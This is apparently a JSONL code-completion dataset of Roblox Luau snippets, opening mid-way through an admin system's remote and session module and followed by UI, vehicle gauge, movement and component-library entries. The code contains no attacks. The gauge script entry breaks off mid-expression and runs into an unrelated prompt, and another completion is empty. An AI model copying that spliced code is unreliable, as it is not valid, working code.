p;\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tClientLoaded = function(p, args)\n\t\t\t\tlocal key = tostring(p.UserId)\n\t\t\t\tlocal client = Remote.Clients[key]\n\n\t\t\t\tif client and client.LoadingStatus == \"LOADING\" then\n\t\t\t\t\tclient.LastUpdate = os.time()\n\t\t\t\t\tclient.RemoteReady = true\n\t\t\t\t\tclient.LoadingStatus = \"READY\"\n\n\t\t\t\t\tservice.Events.ClientLoaded:Fire(p)\n\t\t\t\t\tProcess.FinishLoading(p)\n\t\t\t\telse\n\t\t\t\t\twarn(\"[CLI-199524] ClientLoaded fired when not ready for \".. tostring(p))\n\t\t\t\t\tLogs:AddLog(\"Script\", string.format(\"%s fired ClientLoaded too early\", tostring(p)));\n\t\t\t\t\t--p:Kick(\"Loading error [ClientLoaded Failed]\")\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tLogError = function(p,args)\n\t\t\t\tlogError(p,args[1])\n\t\t\tend;\n\n\t\t\tTest = function(p,args)\n\t\t\t\tprint(\"OK WE GOT COMMUNICATION! FROM: \"..p.Name..\" ORGL: \"..args[1])\n\t\t\tend;\n\n\t\t\tProcessCommand = function(p,args)\n\t\t\t\tif Process.RateLimit(p, \"Command\") then\n\t\t\t\t\tProcess.Command(p, args[1], {\n\t\t\t\t\t\tCheck = true\n\t\t\t\t\t})\n\t\t\t\telseif Process.RateLimit(p, \"RateLog\") then\n\t\t\t\t\tAnti.Detected(p, \"Log\", string.format(\"Running commands too quickly (>Rate: %s/sec)\", 1/Process.RateLimits.Command));\n\t\t\t\t\twarn(string.format(\"%s is running commands too quickly (>Rate: %s/sec)\", p.Name, 1/Process.RateLimits.Command));\n\t\t\t\tend\n\t\t\tend;\n\n\t\t\tProcessChat = function(p,args)\n\t\t\t\tProcess.Chat(p,args[1])\n\t\t\t\t--Process.CustomChat(p,args[1])\n\t\t\tend;\n\n\t\t\tProcessCustomChat = function(p,args)\n\t\t\t\tProcess.Chat(p,args[1],\"CustomChat\")\n\t\t\t\tProcess.CustomChat(p,args[1],args[2],true)\n\t\t\tend;\n\n\t\t\tPrivateMessage = function(p,args)\n\t\t\t\tif not type(args[1]) == \"string\" then return end\n\n\t\t\t\t--\t'Reply from '..localplayer.Name,player,localplayer,ReplyBox.Text\n\t\t\t\tlocal target = Variables.PMtickets[args[1]]\n\t\t\t\tif target or Admin.CheckAdmin(p) then\n\t\t\t\t\tif target then\n\t\t\t\t\t\tVariables.PMtickets[args[1]] = nil;\n\t\t\t\t\telse\n\t\t\t\t\t\ttarget = args[2]\n\t\t\t\t\tend\n\n\t\t\t\t\tlocal title = string.format(\"Reply from %s (@%s)\", p.DisplayName, p.Name)\n\t\t\t\t\tlocal message = args[3]\n\n\t\t\t\t\tlocal replyTicket = Functions.GetRandom()\n\t\t\t\t\tVariables.PMtickets[replyTicket] = p\n\t\t\t\t\tRemote.MakeGui(target,\"PrivateMessage\",{\n\t\t\t\t\t\tTitle = title;\n\t\t\t\t\t\tPlayer = p;\n\t\t\t\t\t\tMessage = service.Filter(message, p, target);\n\t\t\t\t\t\treplyTicket = replyTicket;\n\t\t\t\t\t})\n\n\t\t\t\t\tLogs:AddLog(Logs.Script,{\n\t\t\t\t\t\tText = p.Name..\" replied to \"..tostring(target),\n\t\t\t\t\t\tDesc = message,\n\t\t\t\t\t\tPlayer = p;\n\t\t\t\t\t})\n\t\t\t\telse\n\t\t\t\t\tAnti.Detected(p, \"info\", \"Invalid PrivateMessage ticket! Got: \".. tostring(args[2]))\n\t\t\t\tend\n\t\t\tend;\n\t\t};\n\n\t\tNewSession = function(sessionType)\n\t\t\tlocal session = {\n\t\t\t\tEnded = false;\n\t\t\t\tNumUsers = 0;\n\t\t\t\tData = {};\n\t\t\t\tUsers = {};\n\t\t\t\tEvents = {};\n\t\t\t\tSessionType = sessionType;\n\t\t\t\tSessionKey = Functions.GetRandom();\n\t\t\t\tSessionEvent = service.New(\"BindableEvent\");\n\n\t\t\t\tAddUser = function(self, p, defaultData)\n\t\t\t\t\tassert(not self.Ended, \"Cannot add user to session: Session Ended\")\n\t\t\t\t\tif not self.Users[p] then\n\t\t\t\t\t\tself.Users[p] = defaultData or {};\n\t\t\t\t\t\tself.NumUsers = self.NumUsers + 1;\n\t\t\t\t\tend\n\t\t\t\tend;\n\n\t\t\t\tRemoveUser = function(self, p)\n\t\t\t\t\tassert(not self.Ended, \"Cannot remove user from session: Session Ended\")\n\t\t\t\t\tif self.Users[p] then\n\t\t\t\t\t\tself.Users[p] = nil;\n\t\t\t\t\t\tself.NumUsers = self.NumUsers - 1;\n\n\t\t\t\t\t\tif self.NumUsers == 0 then\n\t\t\t\t\t\t\tself:FireEvent(nil, \"LastUserRemoved\");\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tself:FireEvent(p, \"RemovedFromSession\");\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend;\n\n\t\t\t\tSendToUsers = function(self, ...)\n\t\t\t\t\tif not self.Ended then\n\t\t\t\t\t\tfor p in next,self.Users do\n\t\t\t\t\t\t\tRemote.Send(p, \"SessionData\", self.SessionKey, ...);\n\t\t\t\t\t\tend;\n\t\t\t\t\tend\n\t\t\t\tend;\n\n\t\t\t\tSendToUser = function(self, p, ...)\n\t\t\t\t\tif not self.Ended and self.Users[p] then\n\t\t\t\t\t\tRemote.Send(p, \"SessionData\", self.SessionKey, ...);\n\t\t\t\t\tend\n\t\t\t\tend;\n\n\t\t\t\tFireEvent = function(self, ...)\n\t\t\t\t\tif not self.Ended then\n\t\t\t\t\t\tself.SessionEvent:Fire(...);\n\t\t\t\t\tend\n\t\t\t\tend;\n\n\t\t\t\tEnd = function(self)\n\t\t\t\t\tif not self.Ended then\n\t\t\t\t\t\tfor t,event in next,self.Events do\n\t\t\t\t\t\t\tevent:Disconnect();\n\t\t\t\t\t\t\tself.Events[t] = nil;\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tself:SendToUsers(\"SessionEnded\");\n\n\t\t\t\t\t\tself.NumUsers = 0;\n\t\t\t\t\t\tself.Users = {};\n\t\t\t\t\t\tself.SessionEvent:Destroy();\n\n\t\t\t\t\t\tself.Ended = true;\n\t\t\t\t\t\tRemote.Sessions[self.SessionKey] = nil;\n\t\t\t\t\tend\n\t\t\t\tend;\n\n\t\t\t\tConnectEvent = function(self, func)\n\t\t\t\t\tassert(not self.Ended, \"Cannot connect session event: Session Ended\")\n\n\t\t\t\t\tlocal connection = self.SessionEvent.Event:Connect(func);\n\t\t\t\t\ttable.insert(self.Events, connection)\n\n\t\t\t\t\treturn connection;\n\t\t\t\tend;\n\t\t\t};\n\n\t\t\tsession.Events.PlayerRemoving = service.Players.PlayerRemoving:Connect(function(plr)\n\t\t\t\tif session.Users[plr] then\n\t\t\t\t\tsession:RemoveUser(plr)\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tRemote.Sessions[session.SessionKey] = session;\n\n\t\t\treturn session;\n\t\tend;\n\n\t\tGetSession = function(sessionKey)\n\t\t\treturn Remote.Sessions[sessionKey];\n\t\tend;\n\n\t\tFire = function(p, ...)\n\t\t\tassert(p and p:IsA(\"Player\"), \"Remote.Fire: \".. tostring(p) ..\" is not a valid Player\")\n\t\t\tlocal keys = Remote.Clients[tostring(p.UserId)]\n\t\t\tlocal RemoteEvent = Core.RemoteEvent\n\t\t\tif RemoteEvent and RemoteEvent.Object then\n\t\t\t\tkeys.Sent = keys.Sent+1\n\t\t\t\tpcall(RemoteEvent.Object.FireClient, RemoteEvent.Object, p, {Mode = \"Fire\", Sent = 0},...)\n\t\t\tend\n\t\tend;\n\n\t\tSend = function(p,com,...)\n\t\t\tassert(p and p:IsA(\"Player\"), \"Remote.Send: \".. tostring(p) ..\" is not a valid Player\")\n\t\t\tlocal keys = Remote.Clients[tostring(p.UserId)]\n\t\t\tif keys and keys.RemoteReady == true then\n\t\t\t\tRemote.Fire(p, Remote.Encrypt(com, keys.Key, keys.Cache),...)\n\t\t\tend\n\t\tend;\n\n\t\tGetFire = function(p, ...)\n\t\t\tlocal keys = Remote.Clients[tostring(p.UserId)]\n\t\t\tlocal RemoteEvent = Core.RemoteEvent\n\t\t\tif RemoteEvent and RemoteEvent.Function then\n\t\t\t\tkeys.Sent = keys.Sent+1\n\t\t\t\treturn RemoteEvent.Function:InvokeClient(p, {Mode = \"Get\", Sent = 0}, ...)\n\t\t\tend\n\t\tend;\n\n\t\tGet = function(p,com,...)\n\t\t\tlocal keys = Remote.Clients[tostring(p.UserId)]\n\t\t\tif keys and keys.RemoteReady == true then\n\t\t\t\tlocal ret = Remote.GetFire(p, Remote.Encrypt(com, keys.Key, keys.Cache),...)\n\t\t\t\tif type(ret) == \"table\" then\n\t\t\t\t\treturn unpack(ret);\n\t\t\t\telse\n\t\t\t\t\treturn ret;\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tOldGet = function(p, com, ...)\n\t\t\tlocal keys = Remote.Clients[tostring(p.UserId)]\n\t\t\tif keys and keys.RemoteReady == true then\n\t\t\t\tlocal returns, finished\n\t\t\t\tlocal key = Functions:GetRandom()\n\t\t\t\tlocal Yield = service.Yield();\n\t\t\t\tlocal event = service.Events[key]:Connect(function(...) print(\"WE ARE GETTING A RETURN!\") finished = true returns = {...} Yield:Release() end)\n\n\t\t\t\tRemote.PendingReturns[key] = true\n\t\t\t\tRemote.Send(p,\"GetReturn\",com,key,...)\n\n\t\t\t\tprint(\"GETTING RETURN\");\n\t\t\t\tif not finished and not returns and p.Parent then\n\t\t\t\t\tlocal pEvent = service.Players.PlayerRemoving:Connect(function(plr) if plr == p then event:Fire() end end)\n\t\t\t\t\tdelay(600, function() if not finished then event:Fire() end end)\n\t\t\t\t\tprint(string.format(\"WAITING FOR RETURN %s\", tostring(returns)));\n\t\t\t\t\t--returns = returns or {event:Wait()}\n\t\t\t\t\tYield:Wait();\n\t\t\t\t\tYield:Destroy();\n\n\t\t\t\t\tprint(string.format(\"WE GOT IT! %s\", tostring(returns)));\n\t\t\t\t\tpEvent:Disconnect()\n\t\t\t\tend\n\n\t\t\t\tprint(\"GOT RETURN\");\n\t\t\t\tevent:Disconnect()\n\n\t\t\t\tif returns then\n\t\t\t\t\tif returns[1] == \"__ADONIS_RETURN_ERROR\" then\n\t\t\t\t\t\terror(returns[2])\n\t\t\t\t\telse\n\t\t\t\t\t\treturn unpack(returns)\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\treturn nil\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tCheckClient = function(p)\n\t\t\tlocal ran,ret = pcall(function() return Remote.Get(p,\"ClientHooked\") end)\n\t\t\tif ran and ret == Remote.Clients[tostring(p.UserId)].Special then\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\treturn false\n\t\t\tend\n\t\tend;\n\n\t\tCheckKeys = function()\n\t\t\t--// Check all keys for ones no longer in use for >10 minutes (so players who actually left aren't tracked forever)\n\t\t\tfor key, data in pairs(Remote.Clients) do\n\t\t\t\tlocal continue = true;\n\n\t\t\t\tif data.Player and data.Player.Parent == service.Players then\n\t\t\t\t\tcontinue = false;\n\t\t\t\telse\n\t\t\t\t\tlocal Player = service.Players:GetPlayerByUserId(key)\n\t\t\t\t\tif Player then\n\t\t\t\t\t\tdata.Player = Player\n\t\t\t\t\t\tcontinue = false\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif continue and (data.LastUpdate and os.time() - data.LastUpdate > Remote.TimeUntilKeyDestroyed) then\n\t\t\t\t\tRemote.Clients[key] = nil;\n\t\t\t\t\t--print(\"Client key removed for UserId \".. tostring(key))\n\t\t\t\t\tLogs:AddLog(\"Script\", \"Client key removed for UserId \".. tostring(key))\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn;\n\t\tend;\n\n\t\tPing = function(p)\n\t\t\treturn Remote.Get(p,\"Ping\")\n\t\tend;\n\n\t\tMakeGui = function(p, GUI, data, themeData)\n\t\t\tlocal theme = {Desktop = Settings.Theme; Mobile = Settings.MobileTheme}\n\t\t\tif themeData then for ind,dat in pairs(themeData) do theme[ind] = dat end end\n\t\t\tRemote.Send(p, \"UI\", GUI, theme, data or {})\n\t\tend;\n\n\t\tMakeGuiGet = function(p,GUI,data,themeData)\n\t\t\tlocal theme = {Desktop = Settings.Theme; Mobile = Settings.MobileTheme}\n\t\t\tif themeData then for ind,dat in pairs(themeData) do theme[ind] = dat end end\n\t\t\treturn Remote.Get(p,\"UI\",GUI,theme,data or {})\n\t\tend;\n\n\t\tGetGui = function(p,GUI,data,themeData)\n\t\t\treturn Remote.MakeGuiGet(p,GUI,data,themeData)\n\t\tend;\n\n\t\tRemoveGui = function(p,name,ignore)\n\t\t\tRemote.Send(p,\"RemoveUI\",name,ignore)\n\t\tend;\n\n\t\tRefreshGui = function(p, name, ignore, data, themeData)\n\t\t\tlocal theme = {Desktop = Settings.Theme; Mobile = Settings.MobileTheme}\n\t\t\tif themeData then for ind,dat in pairs(themeData) do theme[ind] = dat end end\n\t\t\tRemote.Send(p,\"RefreshUI\", name, ignore, themeData, data or {})\n\t\tend;\n\n\t\tNewParticle = function(p,target,type,properties)\n\t\t\tRemote.Send(p,\"Function\",\"NewParticle\",target,type,properties)\n\t\tend;\n\n\t\tRemoveParticle = function(p,target,name)\n\t\t\tRemote.Send(p,\"Function\",\"RemoveParticle\",target,name)\n\t\tend;\n\n\t\tNewLocal = function(p, type, props, parent)\n\t\t\tRemote.Send(p,\"Function\",\"NewLocal\",type,props,parent)\n\t\tend;\n\n\t\tMakeLocal = function(p,object,parent,clone)\n\t\t\tobject.Parent = p\n\t\t\twait(0.5)\n\t\t\tRemote.Send(p,\"Function\",\"MakeLocal\",object,parent,clone)\n\t\tend;\n\n\t\tMoveLocal = function(p,object,parent,newParent)\n\t\t\tRemote.Send(p,\"Function\",\"MoveLocal\",object,false,newParent)\n\t\tend;\n\n\t\tRemoveLocal = function(p,object,parent,match)\n\t\t\tRemote.Send(p,\"Function\",\"RemoveLocal\",object,parent,match)\n\t\tend;\n\n\t\tSetLighting = function(p,prop,value)\n\t\t\tRemote.Send(p,\"Function\",\"SetLighting\",prop,value)\n\t\tend;\n\n\t\tFireEvent = function(p,...)\n\t\t\tRemote.Send(p,\"FireEvent\",...)\n\t\tend;\n\n\t\tNewPlayerEvent = function(p,type,func)\n\t\t\treturn service.Events[type..p.UserId]:Connect(func)\n\t\tend;\n\n\t\tStartLoop = function(p,name,delay,funcCode)\n\t\t\tRemote.Send(p,\"StartLoop\",name,delay,Core.ByteCode(funcCode))\n\t\tend;\n\n\t\tStopLoop = function(p,name)\n\t\t\tRemote.Send(p,\"StopLoop\",name)\n\t\tend;\n\n\t\tPlayAudio = function(p,audioId,volume,pitch,looped)\n\t\t\tRemote.Send(p,\"Function\",\"PlayAudio\",audioId,volume,pitch,looped)\n\t\tend;\n\n\t\tStopAudio = function(p,id)\n\t\t\tRemote.Send(p,\"Function\",\"StopAudio\",id)\n\t\tend;\n\n\t\tFadeAudio = function(p,id,inVol,pitch,looped,incWait)\n\t\t\tRemote.Send(p,\"Function\",\"FadeAudio\",id,inVol,pitch,looped,incWait)\n\t\tend;\n\n\t\tStopAllAudio = function(p)\n\t\t\tRemote.Send(p,\"Function\",\"KillAllLocalAudio\")\n\t\tend;\n\t\t--[[\n\t\tStartSession = function(p,type,data)\n\t\t\tlocal index = Functions.GetRandom()\n\t\t\tlocal data = data or {}\n\t\t\tlocal custKill = data.Kill\n\t\t\tdata.Type = type\n\t\t\tdata.Player = p\n\t\t\tdata.Index = index\n\t\t\tdata.Kill = function()\n\t\t\t\tRemote.Sessions[index] = nil\n\t\t\t\tif custKill then return custKill() end\n\t\t\t\treturn true\n\t\t\tend\n\t\t\tRemote.KillSession(p,type)\n\t\t\tRemote.Sessions[index] = data\n\t\tend;\n\n\t\tGetSession = function(p,type)\n\t\t\tfor i,v in pairs(Remote.Sessions) do\n\t\t\t\tif v.Type == type and v.Player == p then\n\t\t\t\t\treturn v,i\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tKillSession = function(p,type)\n\t\t\tfor i,v in pairs(Remote.Sessions) do\n\t\t\t\tif v.Type == type and v.Player == p then\n\t\t\t\t\tv.Kill()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\t\t--]]\n\t\tLoadCode = function(p,code,getResult)\n\t\t\tif getResult then\n\t\t\t\treturn Remote.Get(p,\"LoadCode\",Core.Bytecode(code))\n\t\t\telse\n\t\t\t\tRemote.Send(p,\"LoadCode\",Core.Bytecode(code))\n\t\t\tend\n\t\tend;\n\n\t\tEncrypt = function(str, key, cache)\n\t\t\tcache = cache or Remote.EncodeCache or {}\n\n\t\t\tif not key or not str then\n\t\t\t\treturn str\n\t\t\telseif cache[key] and cache[key][str] then\n\t\t\t\treturn cache[key][str]\n\t\t\telse\n\t\t\t\tlocal byte = string.byte\n\t\t\t\tlocal sub = string.sub\n\t\t\t\tlocal char = string.char\n\n\t\t\t\tlocal keyCache = cache[key] or {}\n\t\t\t\tlocal endStr = {}\n\n\t\t\t\tfor i = 1, #str do\n\t\t\t\t\tlocal keyPos = (i % #key) + 1\n\t\t\t\t\tendStr[i] = char(((byte(sub(str, i, i)) + byte(sub(key, keyPos, keyPos)))%126) + 1)\n\t\t\t\tend\n\n\t\t\t\tendStr = table.concat(endStr)\n\t\t\t\tcache[key] = keyCache\n\t\t\t\tkeyCache[str] = endStr\n\t\t\t\treturn endStr\n\t\t\tend\n\t\tend;\n\n\t\tDecrypt = function(str, key, cache)\n\t\t\tcache = cache or Remote.DecodeCache or {}\n\n\t\t\tif not key or not str then\n\t\t\t\treturn str\n\t\t\telseif cache[key] and cache[key][str] then\n\t\t\t\treturn cache[key][str]\n\t\t\telse\n\t\t\t\tlocal keyCache = cache[key] or {}\n\t\t\t\tlocal byte = string.byte\n\t\t\t\tlocal sub = string.sub\n\t\t\t\tlocal char = string.char\n\t\t\t\tlocal endStr = {}\n\n\t\t\t\tfor i = 1, #str do\n\t\t\t\t\tlocal keyPos = (i % #key)+1\n\t\t\t\t\tendStr[i] = char(((byte(sub(str, i, i)) - byte(sub(key, keyPos, keyPos)))%126) - 1)\n\t\t\t\tend\n\n\t\t\t\tendStr = table.concat(endStr)\n\t\t\t\tcache[key] = keyCache\n\t\t\t\tkeyCache[str] = endStr\n\t\t\t\treturn endStr\n\t\t\tend\n\t\tend;\n\t};\nend\n"} +{"prompt": "-- A state object whose value is derived from other objects using a callback.", "completion": "\nexport type ForValues = PubTypes.ForValues & {\n\t_oldDependencySet: Set,\n\t_processor: (VI) -> (VO),\n\t_destructor: (VO, M?) -> (),\n\t_inputIsState: boolean,\n\t_inputTable: PubTypes.CanBeState<{ [VI]: VO }>,\n\t_outputTable: { [any]: VI },\n\t_valueCache: { [VO]: any },\n\t_oldValueCache: { [VO]: any },\n\t_meta: { [VO]: M? },\n\t_valueData: {\n\t\t[VI]: {\n\t\t\tdependencySet: Set,\n\t\t\toldDependencySet: Set,\n\t\t\tdependencyValues: { [PubTypes.Dependency]: any },\n\t\t},\n\t},\n}\n"} +{"prompt": "--A-Chassis 6 Stock Gauge Cluster Interface\n--\tSecondLogic @ Inspare", "completion": "\n\nscript.Parent:WaitForChild(\"Speedo\")\nscript.Parent:WaitForChild(\"Tach\")\nscript.Parent:WaitForChild(\"ln\")\nscript.Parent:WaitForChild(\"Gear\")\nscript.Parent:WaitForChild(\"Speed\")\n\n\nlocal car = script.Parent.Parent.Car.Value\ncar.DriveSeat.HeadsUpDisplay = false\n\nlocal _Tune = require(car[\"A-Chassis Tune\"])\n\nlocal _pRPM = _Tune.PeakRPM\nlocal _lRPM = _Tune.Redline\n\nlocal revEnd = math.ceil(_lRPM/1000)\n\nlocal Drive={}\nif _Tune.Config == \"FWD\" or _Tune.Config == \"AWD\" then\n\tif car.Wheels:FindFirstChild(\"FL\")~= nil then\n\t\ttable.insert(Drive,car.Wheels.FL)\n\tend\n\tif car.Wheels:FindFirstChild(\"FR\")~= nil then\n\t\ttable.insert(Drive,car.Wheels.FR)\n\tend\nend\nif _Tune.Config == \"RWD\" or _Tune.Config == \"AWD\" then\n\tif car.Wheels:FindFirstChild(\"RL\")~= nil then\n\t\ttable.insert(Drive,car.Wheels.RL)\n\tend\n\tif car.Wheels:FindFirstChild(\"RR\")~= nil then\n\t\ttable.insert(Drive,car.Wheels.RR)\n\tend\nend\n\nlocal wDia = 0\nfor i,v in pairs(Drive) do\n\tif v.Size.x>wDia then wDia = v.Size.x end\nend\nDrive = nil\nlocal maxSpeed = math.ceil(wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)\nlocal spInc = math.max(math.ceil(maxSpeed/200)*20,20)\n\n\nfor i=0,revEnd*2 do\n\tlocal ln = script.Parent.ln:clone()\n\tln.Parent = script.Parent.Tach\n\tln.Rotation = 45 + i * 225 / (revEnd*2)\n\tln.Num.Text = i/2\n\tln.Num.Rotation = -ln.Rotation\n\tif i*500>=math.floor(_pRPM/500)*500 then\n\t\tln.Frame.BackgroundColor3 = Color3.new(1,0,0)\n\t\tif i> (e.g. Gamepasses, Shirts, Models etc)\nFormat: [AssetId] = \"PermissionName\" OR PermissionNumber ;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]]", "completion": "\nAsset_Permissions={\n\t[0] = \"Mod\";\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t;\n\n"} +{"prompt": "-- externally played animations", "completion": "\nlocal playEmoteEvent = script:WaitForChild(\"PlayEmote\")\nplayEmoteEvent.OnInvoke = playEmote\n"} +{"prompt": "--[=[\n\t@param class table | (...any) -> any\n\t@param ... any\n\t@return any\n\tConstructs a new object from either the\n\ttable or function given.\n\n\tIf a table is given, the table's `new`\n\tfunction will be called with the given\n\targuments.\n\n\tIf a function is given, the function will\n\tbe called with the given arguments.\n\t\n\tThe result from either of the two options\n\twill be added to the trove.\n\n\tThis is shorthand for `trove:Add(SomeClass.new(...))`\n\tand `trove:Add(SomeFunction(...))`.\n\n\t```lua\n\tlocal Signal = require(somewhere.Signal)\n\n\t-- All of these are identical:\n\tlocal s = trove:Construct(Signal)\n\tlocal s = trove:Construct(Signal.new)\n\tlocal s = trove:Construct(function() return Signal.new() end)\n\tlocal s = trove:Add(Signal.new())\n\n\t-- Even Roblox instances can be created:\n\tlocal part = trove:Construct(Instance, \"Part\")\n\t```\n]=]", "completion": "\nfunction Trove:Construct(class, ...)\n\tif self._cleaning then\n\t\terror(\"Cannot call trove:Construct() while cleaning\", 2)\n\tend\n\tlocal object = nil\n\tlocal t = type(class)\n\tif t == \"table\" then\n\t\tobject = class.new(...)\n\telseif t == \"function\" then\n\t\tobject = class(...)\n\tend\n\treturn self:Add(object)\nend\n"} +{"prompt": "--strategy that you walk around the opponent while running away", "completion": "\n"} +{"prompt": "-- Returns module (possibly nil) and success code to differentiate returning nil due to error vs Scriptable", "completion": "\nfunction ControlModule:SelectComputerMovementModule(): ({}?, boolean)\n\tif not (UserInputService.KeyboardEnabled or UserInputService.GamepadEnabled) then\n\t\treturn nil, false\n\tend\n\n\tlocal computerModule\n\tlocal DevMovementMode = Players.LocalPlayer.DevComputerMovementMode\n\n\tif DevMovementMode == Enum.DevComputerMovementMode.UserChoice then\n\t\tcomputerModule = computerInputTypeToModuleMap[lastInputType]\n\t\tif UserGameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove and computerModule == Keyboard then\n\t\t\t-- User has ClickToMove set in Settings, prefer ClickToMove controller for keyboard and mouse lastInputTypes\n\t\t\tcomputerModule = ClickToMove\n\t\tend\n\telse\n\t\t-- Developer has selected a mode that must be used.\n\t\tcomputerModule = movementEnumToModuleMap[DevMovementMode]\n\n\t\t-- computerModule is expected to be nil here only when developer has selected Scriptable\n\t\tif (not computerModule) and DevMovementMode ~= Enum.DevComputerMovementMode.Scriptable then\n\t\t\twarn(\"No character control module is associated with DevComputerMovementMode \", DevMovementMode)\n\t\tend\n\tend\n\n\tif computerModule then\n\t\treturn computerModule, true\n\telseif DevMovementMode == Enum.DevComputerMovementMode.Scriptable then\n\t\t-- Special case where nil is returned and we actually want to set self.activeController to nil for Scriptable\n\t\treturn nil, true\n\telse\n\t\t-- This case is for when computerModule is nil because of an error and no suitable control module could\n\t\t-- be found.\n\t\treturn nil, false\n\tend\nend\n"} +{"prompt": "--// Firemode Shot Customization", "completion": "\n\tBurstNum = 3; -- How many bullets per burst\n\tShotNum = 5; -- How many bullets per shot\n\t"} +{"prompt": "--[[**\n\tensures Roblox BrickColor type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.BrickColor = primitive(\"BrickColor\")\n"} +{"prompt": "--// bolekinds", "completion": "\n\nworkspace.Roommate.Head.Dialog.DialogChoiceSelected:Connect(function(player,choice)\n\tif choice.Name == \"Gimme rent\" then\n\t\tgame.ReplicatedStorage.Rent:FireServer()\n\telseif choice.Name == \"I'm raising your rent\" then\n\t\tgame.ReplicatedStorage.Raise:FireServer()\n\tend\nend)\n"} +{"prompt": "--Folders", "completion": "\nlocal servicesFolder = ServerStorage:WaitForChild(\"Services\")\n"} +{"prompt": "--[=[\n\t@param tag string\n\t@param class table\n\t@param renderPriority number?\n\t@param requireComponents {string}?\n\t@return Component\n\n\tConstructs a new component class.\n]=]", "completion": "\nfunction Component.new(tag, class, renderPriority, requireComponents)\n\n\tassert(type(tag) == \"string\", \"Argument #1 (tag) should be a string; got \" .. type(tag))\n\tassert(type(class) == \"table\", \"Argument #2 (class) should be a table; got \" .. type(class))\n\tassert(type(class.new) == \"function\", \"Class must contain a .new constructor function\")\n\tassert(type(class.Destroy) == \"function\", \"Class must contain a :Destroy function\")\n\tassert(componentsByTag[tag] == nil, \"Component already bound to this tag\")\n\n\tlocal self = setmetatable({}, Component)\n\n\tself._trove = Trove.new()\n\tself._lifecycleTrove = self._trove:Construct(Trove)\n\tself._tag = tag\n\tself._class = class\n\tself._objects = {}\n\tself._instancesToObjects = {}\n\tself._hasHeartbeatUpdate = (type(class.HeartbeatUpdate) == \"function\")\n\tself._hasSteppedUpdate = (type(class.SteppedUpdate) == \"function\")\n\tself._hasRenderUpdate = (type(class.RenderUpdate) == \"function\")\n\tself._hasInit = (type(class.Init) == \"function\")\n\tself._hasDeinit = (type(class.Deinit) == \"function\")\n\tself._renderPriority = renderPriority or Enum.RenderPriority.Last.Value\n\tself._requireComponents = requireComponents or {}\n\tself._lifecycle = false\n\tself._nextId = 0\n\n\tself.Added = self._trove:Construct(Signal)\n\tself.Removed = self._trove:Construct(Signal)\n\n\tlocal observeTrove = self._trove:Construct(Trove)\n\n\tlocal function ObserveTag()\n\n\t\tlocal function HasRequiredComponents(instance)\n\t\t\tfor _,reqComp in ipairs(self._requireComponents) do\n\t\t\t\tlocal comp = Component.FromTag(reqComp)\n\t\t\t\tif comp:GetFromInstance(instance) == nil then\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn true\n\t\tend\n\n\t\tobserveTrove:Connect(CollectionService:GetInstanceAddedSignal(tag), function(instance)\n\t\t\tif IsDescendantOfWhitelist(instance) and HasRequiredComponents(instance) then\n\t\t\t\tself:_instanceAdded(instance)\n\t\t\tend\n\t\tend)\n\n\t\tobserveTrove:Connect(CollectionService:GetInstanceRemovedSignal(tag), function(instance)\n\t\t\tself:_instanceRemoved(instance)\n\t\tend)\n\n\t\tfor _,reqComp in ipairs(self._requireComponents) do\n\t\t\tlocal comp = Component.FromTag(reqComp)\n\t\t\tobserveTrove:Connect(comp.Added, function(obj)\n\t\t\t\tif CollectionService:HasTag(obj.Instance, tag) and HasRequiredComponents(obj.Instance) then\n\t\t\t\t\tself:_instanceAdded(obj.Instance)\n\t\t\t\tend\n\t\t\tend)\n\t\t\tobserveTrove:Connect(comp.Removed, function(obj)\n\t\t\t\tif CollectionService:HasTag(obj.Instance, tag) then\n\t\t\t\t\tself:_instanceRemoved(obj.Instance)\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\n\t\tobserveTrove:Add(function()\n\t\t\tself:_stopLifecycle()\n\t\t\tfor instance in pairs(self._instancesToObjects) do\n\t\t\t\tself:_instanceRemoved(instance)\n\t\t\tend\n\t\tend)\n\n\t\tdo\n\t\t\tfor _,instance in ipairs(CollectionService:GetTagged(tag)) do\n\t\t\t\tif IsDescendantOfWhitelist(instance) and HasRequiredComponents(instance) then\n\t\t\t\t\ttask.defer(function()\n\t\t\t\t\t\tself:_instanceAdded(instance)\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\tend\n\n\tif #self._requireComponents == 0 then\n\t\tObserveTag()\n\telse\n\t\t-- Only observe tag when all required components are available:\n\t\tlocal tagsReady = {}\n\t\tlocal function Check()\n\t\t\tfor _,ready in pairs(tagsReady) do\n\t\t\t\tif not ready then\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\tend\n\t\t\tObserveTag()\n\t\tend\n\t\tlocal function Cleanup()\n\t\t\tobserveTrove:Clean()\n\t\tend\n\t\tfor _,requiredComponent in ipairs(self._requireComponents) do\n\t\t\ttagsReady[requiredComponent] = false\n\t\tend\n\t\tfor _,requiredComponent in ipairs(self._requireComponents) 